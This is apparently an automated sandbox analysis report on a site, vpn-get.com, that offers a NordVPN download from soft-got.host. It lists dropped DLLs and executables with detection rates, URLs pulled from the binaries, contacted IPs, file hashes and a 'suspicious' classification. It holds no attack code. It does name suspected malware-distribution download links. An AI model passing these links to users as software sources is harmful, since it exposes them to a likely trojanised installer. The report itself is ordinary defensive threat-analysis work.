C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100PDFL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\WinRAR.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\wget.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GFSDK_ShadowLib.win64.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GPUPerfAPIDX11-x64.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\adbeape.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\boost_system.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\d3dcompiler_47.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PRM.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PlugPlugExternalObject.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\boost_system.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2m.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2v.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp4v.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mpa.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_pcm.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_dec_spic.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_demux_dv.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_mp2sr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_pcm.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_mux_dv.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_audio_converter.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_video_framerate.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100chs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100cht.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\libGLESv2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2m.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2v.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp4v.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mpa.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_pcm.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_dec_spic.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_demux_dv.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_mp2sr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_pcm.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_mux_dv.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_audio_converter.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_video_framerate.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100chs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100cht.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageMetaData.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageStitcher.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCommand.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceCreation.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceUnique.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\CGRCommand.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_Camera.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_MotionSet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_SysInfo.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_TextOut.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\ESM_SaveTextFile.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FileDialog.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FloatTexture.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GFSDK_ShadowLib.win64.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GPUPerfAPIDX11-x64.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GUISkin.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GroupBuffer.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceContainer.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefHash.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefSphereTree.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefTree.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceChannel.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceFunction.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Object.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Surface.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\TextFilter.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Win32_Font.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\XMLDOMCommand.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\d3dcompiler_47.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\libGLESv2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\CopyImage.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100AGM.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DL100PDFL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_DirectInput.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_ImportObject.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_MatrixInterpolateSet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_SoundFile2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_UserInput.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FModSound.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\FileLoader.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Image.Services.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Internet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\ObjectDataCommand.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SAXParser.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SceneContainerCommand.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\StyleTransfer.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Tesselator.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://anglebug.com/2970	0%	URL Reputation	safe
http://anglebug.com/3452	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://anglebug.com/3153	0%	URL Reputation	safe
http://anglebug.com/1085	0%	Virustotal		Browse
https://crbug.com/650547call_clear_twiceUsing	0%	Virustotal		Browse
http://anglebug.com/3625	0%	Virustotal		Browse
http://anglebug.com/3623	0%	Virustotal		Browse
http://anglebug.com/3623	0%	Avira URL Cloud	safe
http://anglebug.com/3624	0%	Avira URL Cloud	safe
https://crbug.com/650547call_clear_twiceUsing	0%	Avira URL Cloud	safe
http://anglebug.com/3625	0%	Avira URL Cloud	safe
http://anglebug.com/3502	0%	Avira URL Cloud	safe
http://anglebug.com/1085	0%	Avira URL Cloud	safe
http://anglebug.com/3027	0%	Avira URL Cloud	safe
http://anglebug.com/3246allow_clear_for_robust_resource_initSome	0%	Avira URL Cloud	safe
http://crbug.com/772651	0%	Avira URL Cloud	safe
http://crbug.com/883276	0%	Avira URL Cloud	safe
http://crbug.com/650547	0%	Avira URL Cloud	safe
http://anglebug.com/2978	0%	Avira URL Cloud	safe
http://crbug.com/941620dont_translate_uniform_block_to_structured_bufferFails	0%	Avira URL Cloud	safe
http://anglebug.com/4384	0%	Avira URL Cloud	safe
http://anglebug.com/4428	0%	Avira URL Cloud	safe
http://anglebug.com/1512	0%	Avira URL Cloud	safe
http://crbug.com/398694	0%	Avira URL Cloud	safe
https://crbug.com/705865	0%	Avira URL Cloud	safe
http://anglebug.com/2046	0%	Avira URL Cloud	safe
http://anglebug.com/3498	0%	Avira URL Cloud	safe
http://anglebug.com/4267	0%	Avira URL Cloud	safe
http://crbug.com/110263	0%	Avira URL Cloud	safe
http://anglebug.com/3016	0%	Avira URL Cloud	safe
http://crbug.com/809422	0%	Avira URL Cloud	safe
https://crbug.com/650547	0%	Avira URL Cloud	safe
https://crbug.com/1046462	0%	Avira URL Cloud	safe
http://www.datalogics.com	0%	Avira URL Cloud	safe
http://crbug.com/642227	0%	Avira URL Cloud	safe
http://anglebug.com/1637	0%	Avira URL Cloud	safe
http://anglebug.com/2727	0%	Avira URL Cloud	safe
http://anglebug.com/3859	0%	Avira URL Cloud	safe
http://crbug.com/398694ANGLE_DEFAULT_PLATFORMvulkanvulkan-nullswiftshadergld3d11nullGPU.ANGLE.Displa	0%	Avira URL Cloud	safe
http://anglebug.com/482	0%	Avira URL Cloud	safe
https://crbug.com/593024select_view_in_geometry_shaderThe	0%	Avira URL Cloud	safe
http://anglebug.com/2152	0%	Avira URL Cloud	safe
http://anglebug.com/2273	0%	Avira URL Cloud	safe
http://anglebug.com/3243	0%	Avira URL Cloud	safe
http://anglebug.com/3045	0%	Avira URL Cloud	safe
http://anglebug.com/4490	0%	Avira URL Cloud	safe
http://crbug.com/308366	0%	Avira URL Cloud	safe
http://anglebug.com/3205	0%	Avira URL Cloud	safe
https://crbug.com/593024	0%	Avira URL Cloud	safe
https://crbug.com/655534use_system_memory_for_constant_buffersCopying	0%	Avira URL Cloud	safe
http://crbug.com/565179	0%	Avira URL Cloud	safe
http://anglebug.com/2514	0%	Avira URL Cloud	safe
http://anglebug.com/3206	0%	Avira URL Cloud	safe
http://crbug.com/941620	0%	Avira URL Cloud	safe
http://anglebug.com/4214	0%	Avira URL Cloud	safe
http://anglebug.com/3246	0%	Avira URL Cloud	safe
http://anglebug.com/3729	0%	Avira URL Cloud	safe
http://crbug.com/830046	0%	Avira URL Cloud	safe
http://crbug.com/403957	0%	Avira URL Cloud	safe
https://crbug.com/710443	0%	Avira URL Cloud	safe
http://crbug.com/672380	0%	Avira URL Cloud	safe
http://crbug.com/709351	0%	Avira URL Cloud	safe
http://anglebug.com/3078	0%	Avira URL Cloud	safe
http://anglebug.com/4442	0%	Avira URL Cloud	safe
http://crbug.com/849576	0%	Avira URL Cloud	safe
http://crbug.com/927470	0%	Avira URL Cloud	safe
http://anglebug.com/2152skip_vs_constant_register_zeroIn	0%	Avira URL Cloud	safe
http://anglebug.com/3997	0%	Avira URL Cloud	safe
http://anglebug.com/4405	0%	Avira URL Cloud	safe
http://anglebug.com/1452	0%	Avira URL Cloud	safe
http://crbug.com/642605	0%	Avira URL Cloud	safe
http://anglebug.com/1936	0%	Avira URL Cloud	safe
http://crbug.com/797243	0%	Avira URL Cloud	safe
http://javafx.com/vp6decoderflvdemux	0%	Avira URL Cloud	safe
http://javafx.com/	0%	Avira URL Cloud	safe
http://anglebug.com/2703	0%	Avira URL Cloud	safe
http://crbug.com/644669	0%	Avira URL Cloud	safe
https://crbug.com/655534	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
https://vpn-get.com/	false		unknown
https://vpn-get.com/nordvpn	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://anglebug.com/1085	libGLESv2.dll.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://crbug.com/650547call_clear_twiceUsing	libGLESv2.dll.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/3502	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3623	libGLESv2.dll.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/3625	libGLESv2.dll.6.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/3624	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2970	libGLESv2.dll.6.dr	false	URL Reputation: safe	unknown
http://anglebug.com/3027	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3246allow_clear_for_robust_resource_initSome	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/772651	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://www.rarlab.com/themes.htm	WinRAR.exe.6.dr	false		high
http://anglebug.com/2978	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/650547	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/883276	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/941620dont_translate_uniform_block_to_structured_bufferFails	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4384	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3452	libGLESv2.dll.6.dr	false	URL Reputation: safe	unknown
http://www.rarlab.com	WinRAR.exe.6.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	false		high
http://anglebug.com/1512	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4428	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/398694	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3498	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/705865	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2046	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4267	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/110263	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3016	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/650547	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/809422	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/1046462	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://www.datalogics.com	7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, DL100AGM.dll0.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/642227	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/1637	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2727	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3859	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/398694ANGLE_DEFAULT_PLATFORMvulkanvulkan-nullswiftshadergld3d11nullGPU.ANGLE.Displa	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/482	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/593024select_view_in_geometry_shaderThe	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2152	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2273	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3045	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3243	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4490	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/308366	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3205	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/593024	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/565179	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/655534use_system_memory_for_constant_buffersCopying	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2514	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3206	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	7za.exe, 00000009.00000002.565370263.00000000010F2000.00000004.00000800.00020000.00000000.sdmp, lcms.dll.6.dr, WinRAR.exe.6.dr, DL100AGM.dll0.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	false	URL Reputation: safe	unknown
http://anglebug.com/3246	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4214	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/941620	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3729	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/830046	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	false		high
http://crbug.com/403957	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/710443	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3153	libGLESv2.dll.6.dr	false	URL Reputation: safe	unknown
http://crbug.com/672380	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/709351	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3078	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4442	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/849576	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/927470	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2152skip_vs_constant_register_zeroIn	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3997	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/642605	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	lcms.dll.6.dr, mc_config_mp2v.dll.9.dr, mc_dec_spic.dll0.6.dr, instrument.dll.6.dr, fxplugins.dll.6.dr	false		high
http://anglebug.com/4405	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/1452	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://javafx.com/	fxplugins.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://javafx.com/vp6decoderflvdemux	fxplugins.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/1936	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/797243	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2703	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
http://crbug.com/644669	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/655534	libGLESv2.dll.6.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.203.106	unknown	United States	15169	GOOGLEUS	false
34.104.35.123	unknown	United States	15169	GOOGLEUS	false
162.55.188.142	unknown	United States	35893	ACPCA	false
142.250.203.110	unknown	United States	15169	GOOGLEUS	false
5.45.85.133	unknown	Russian Federation	58061	SCALAXY-ASNL	false
193.3.17.197	unknown	Denmark	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	false
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
172.217.168.68	unknown	United States	15169	GOOGLEUS	false
172.217.168.45	unknown	United States	15169	GOOGLEUS	false
172.217.168.67	unknown	United States	15169	GOOGLEUS	false
185.215.4.79	unknown	Denmark	50129	TVHORADADAES	false
104.192.141.1	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.216.240.12	unknown	United States	16509	AMAZON-02US	false
92.223.124.62	unknown	Austria	199524	GCOREAT	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756292
Start date and time:	2022-11-30 00:06:30 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://vpn-get.com/nordvpn
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	SUS
Classification:	sus25.evad.win@43/220@0/17
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://vpn-get.com/ Browse: https://soft-got.host/vgc/NordVPN-10_11.zip Browse: https://soft-got.host/vgc/NordVPN-7_8.zip

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Execution Graph export aborted for target unarchiver.exe, PID 1032 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5714248
Entropy (8bit):	6.788288927588834
Encrypted:	false
SSDEEP:	98304:XETWMdQ1hV9M5wnx+49cRtvw7gVSOFld6QHJXJTHSewUgvhiWaOuBu3Cb+tbMTy2:XVVK58x+NRtomSuldtHJhyyb+tbM1
MD5:	21CB25B78EE9D4E2D651C600BA2BE2A3
SHA1:	E3BC20EE47633D06427015C07906DE925DB0B5DD
SHA-256:	75330E04960E72EEE106671CEEC9BD768E91DE1944CAFD402AAF7422C4BD7B39
